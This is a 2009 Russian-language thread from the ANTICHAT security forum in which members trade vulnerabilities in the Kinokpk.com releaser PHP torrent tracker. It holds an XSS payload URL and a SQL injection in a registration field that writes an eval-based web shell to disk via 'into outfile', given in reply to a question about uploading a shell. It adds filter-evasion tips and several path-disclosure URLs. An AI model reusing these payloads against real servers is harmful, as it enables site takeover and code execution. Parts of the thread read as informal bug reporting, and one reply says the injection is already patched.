ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
21.08.2009, 15:23
|
|
Новичок
Регистрация: 29.10.2008
Сообщений: 5
Провел на форуме:
25077
Репутация:
4
|
|
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.
Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z
|
|
|
21.08.2009, 20:16
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
Сообщение от ZonD80
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.
Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z
Для таких обращений есть специальный раздел 
Тут выкладывают то что сами нашли.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
22.08.2009, 00:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
КЫСС (XSS)
PHP код:
<form action="<?=$PHP_SELF;?>" method="get" name="form1">
http://127.0.0.1/treker/formats.php/%22%3E%3Cscript%3Ealert(/hi/);%3C/script%3E
Последний раз редактировалось HAXTA4OK; 24.12.2009 в 22:55..
|
|
|
|
24.08.2009, 11:51
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
Провел на форуме:
18304
Репутация:
1
|
|
что можно сделать если есть доступ к директорскому аку но нету доступа к админке (к блокам) как можно шелл залить?
|
|
|
|
24.08.2009, 16:49
|
|
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988
Репутация:
739
|
|
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
Код:
'+union+select+'<? eval($a); ?>'+into+otfile+'C:/blablabla/1.php'/*
Вместо eval можно окно для загрузки,кто-то выкладывал вроде.
Вместо blablabla пишешь путь который тебе нужен,взять можно из ошибки. Например
http://site.ru/torrent/details.php?id[]=11111
Или в начале темы там выкладывали раскрытия путей.
У меня было один раз что "+" не катил,заменял на /**/.Так же если комментарий "/*" не катит,заменяй на -- или # |
|
|
|
24.08.2009, 21:07
|
|
Познающий
Регистрация: 22.06.2009
Сообщений: 41
Провел на форуме:
47299
Репутация:
18
|
|
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
этот баг закрыт ваще-то уже...
ZonD80, а ты че? делай тему =))) может я еще не все знаю?
|
|
|
|
26.08.2009, 23:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
тема тухнет ,вроде небыло этого раскрытия путей )))
http://127.0.0.1/treker/log.php?type[]=
http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2
http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0
какие баян напишите плиз =) а то все 21 страниц заново смареть лень 
Последний раз редактировалось HAXTA4OK; 26.08.2009 в 23:47..
|
|
|
|
27.08.2009, 11:51
|
|
Новичок
Регистрация: 07.12.2008
Сообщений: 4
Провел на форуме:
10412
Репутация:
1
|
|
Сообщение от HAXTA4OK
тема тухнет ,вроде небыло этого раскрытия путей )))
http://127.0.0.1/treker/log.php?type[]=
http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2
http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0
какие баян напишите плиз =) а то все 21 страниц заново смареть лень
Вот эта и на Kinokpk.com releaser
PHP код:
http://127.0.0.1/treker/log.php?type[]=
|
|
|
|
11.09.2009, 11:10
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
Провел на форуме:
18304
Репутация:
1
|
|
раскрытие путей
/testip.php?ip=>
|
|
|
|
15.09.2009, 15:18
|
|
Познающий
Регистрация: 22.06.2009
Сообщений: 41
Провел на форуме:
47299
Репутация:
18
|
|
С форумом простились, аминь!
Мелкие пакости правки, и прочее прочее прочее:
1. Переведены языковые файлики на ArrayAccess.
2. Блокировка скрипта если включен regsiter_globals или не забитыми всяким хламом переменными
3. Привязка кукисов к подсети 255.255.0.0
4. Еще всякие мелочки, кому надо - diff в помощь
http://bit-torrent.kiev.ua/downloads.php?do=file&id=25 |
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
